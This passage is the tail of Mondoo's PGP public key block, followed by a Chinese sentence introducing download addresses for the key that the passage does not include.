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
A8Hssvbbfw==
=dMNn
-----END PGP PUBLIC KEY BLOCK-----
你可以从以下地址下载 Mondoo 的公共 PGP 密钥(两者完全相同):